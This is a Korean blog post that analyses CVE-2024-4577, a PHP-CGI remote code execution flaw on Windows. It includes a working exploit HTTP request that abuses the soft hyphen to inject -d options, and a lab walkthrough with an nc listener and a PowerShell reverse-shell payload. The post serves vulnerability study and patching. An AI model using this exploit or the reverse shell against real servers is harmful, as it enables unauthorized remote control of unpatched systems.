주제
CVE-2024-4577:PHP-CGI 원격 코드 실행
내용
CVE-2024-4577는 PHP의 CGI 모드에서 발견된 원격 코드 실행 취약점입니다.
[CGI 모드]
CGI는 웹 서버와 외부 프로그램(Python, Perl 등)이 상호작용할 수 있도록 합니다. 웹 서버가 HTTP 요청을 받으면, CGI를 통해 외부 프로그램을 실행하고, 그 결과를 웹 브라우저에 반환합니다.
해당 취약점은 공격자가 Windows의 "Best-Fit" 문자 매핑 동작을 악용하여 발생하며, 이를 통해 공격자는 PHP 스크립트의 소스 코드를 노출시키거나 임의의 코드를 실행할 수 있습니다.
Best-Fit이란, 유니코드 문자를 지원하지 않는 시스템에서 유사한 문자로 매핑하여 표현하는 기능입니다. 해당 취약점은 유니코드 소프트 하이픈(U+00AD)이 일반 하이픈(-) 문자로 매핑되는 과정을 이용합니다. PHP CGI 핸들러는 일반 하이픈을 필터링하지만, 소프트 하이픈은 필터링하지 않아 이를 악용하여 PHP 명령줄 인수를 조작할 수 있습니다.
취약점은 특정 Locale에서 발생하고 있으며, 하기 Locale 외에도 영향을 미칠 수 있습니다.
중국어(간체)
중국어(번체)
일본어
영향을 받는 PHP 버전
- PHP 8.3 < 8.3.8
- PHP 8.2 < 8.2.20
- PHP 8.1 < 8.1.29
※ 흔히 사용하는 XAMPP 배포판에서는 해당 PHP 버전이 포함되어 있으므로, PHP 버전의 별도 업데이트가 필수적으로 권고됩니다. (공격 표면이 넓다는 문제 존재함)
※ 참고: PHP 8.0은 EoL 상태로 보안 업데이트 존재하지 않으므로 취약합니다. (https://endoflife.date/php)
1. RCE PoC
PHP-CGI 핸들러의 경우, HTTP 요청을 분석하여 PHP 스크립트에 전달합니다.
http://example.com/cgi.php?foo=bar
위 HTTP 요청은 "php.exe cgi.php foo=bar" 와 같은 형태로 실행됩니다.
HTTP 요청 내 쿼리스트링에 일반 하이픈(-, 0x2D) 전달 시 이스케이프하고 있으나, 소프트 하이픈(0xAD, 유니코드 U+00AD) 이스케이프하지 않아 CGI의 입력 값 검증을 패스합니다. php.exe는 유니코드를 처리하는 과정에서 Windows의 Best-Fit에 의해 소프트 하이픈을 일반 하이픈으로 해석합니다. 그리하여 Command Injection 취약점이 발생합니다.
POST /hello.php?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1
Host: 172.22.101.62
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
<?php system('calc.exe'); ?>
위 HTTP 요청은 아래와 같은 형태로 실행됩니다.
php.exe hello.php -d cgi.force_redirect=0 -d disable_functions=”” -d allow_url_include=1 -d auto_prepend_file=php://input
php.exe 실행 시 설정값을 동적으로 전달할 수 있습니다. 위 요청에서 변경하는 설정은 아래와 같습니다.
- cgi.force_redirect=0 : PHP CGI 모드 실행 시, 요청이 올바른 웹 서버에서 발생했는지 확인하는 설정(Default: 1)
- disable_functions=”” : PHP에서 비활성화할 함수를 지정(Deafult: 비활성화 함수 존재하지 않음)
- allow_url_include=1 : include() 또는 require()함수에서 원격 파일(URL)을 허용할지 결정(Deafult: 0)
- auto_prepend_file=php://input : 특정 파일을 스크립트 실행 전에 자동으로 포함하도록 하는 설정으로, php://input이 지정되어 HTTP 요청 바디를 PHP 스크립트로 처리하도록 설정
즉, -d 옵션을 통해 php.ini의 설정을 임의로 변경한 뒤, 원하는 페이로드를 전달함으로서 원격 코드 실행이 가능합니다.
2. 실습 과정
테스트 환경
- OS: Microsoft Windows 11 Pro 10.0.26100
- System Locale: 일본어
- XAMPP for Windows 8.2.12 (PHP 8.2.12), CGI 모드 활성화
Step 1) 취약한 타겟(WIN11_PC01)환경 세팅
- System Locale 변경(intl.cpl > 관리자 옵션 > 시스템 로캘 변경)
- PHP CGI 모드 활성화: httpd-xampp.conf 파일 내 주석 제거 후 서비스 재시작
Step 2) 공격자 PC에서 nc 리스닝
nc -lvnp 4444
Step 3) 공격자 측 익스플로잇(Reverse shell)
POST /hello.php?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1
Host: 192.168.238.172
Content-Type: application/x-www-form-urlencoded
Content-Length: 652
<?php
$ip = '공격자PC ip';
$port = 4444;
$cmd = "powershell -NoP -NonI -W Hidden -Exec Bypass -Command \"\$client = New-Object System.Net.Sockets.TCPClient('$ip',$port);\$stream = \$client.GetStream();[byte[]]\$buffer = 0..65535|%{0};while((\$i = \$stream.Read(\$buffer, 0, \$buffer.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$buffer,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\"";
exec($cmd);
?>
Step 4) 결과
※ 웹 서버를 실행하는 서비스 계정의 권한 습득
레퍼런스
https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/
'보안 > 웹·모바일' 카테고리의 다른 글
JWT(JSON Web Token) 취약점 악용 (1) - None Algorithm, Algorithm Confusion (0) | 2025.01.18 |
---|---|
JWT(JSON Web Token) 개념 (0) | 2025.01.05 |
Burp Suite로 패킷이 잘 안잡힘 해결 (0) | 2024.02.16 |
[IOS] Fairplay DRM 복호화 툴 frida-ios-dump (Windows) (0) | 2023.11.09 |
[IOS] "Alpine" 패스워드가 작동하지 않는 경우 (0) | 2023.11.06 |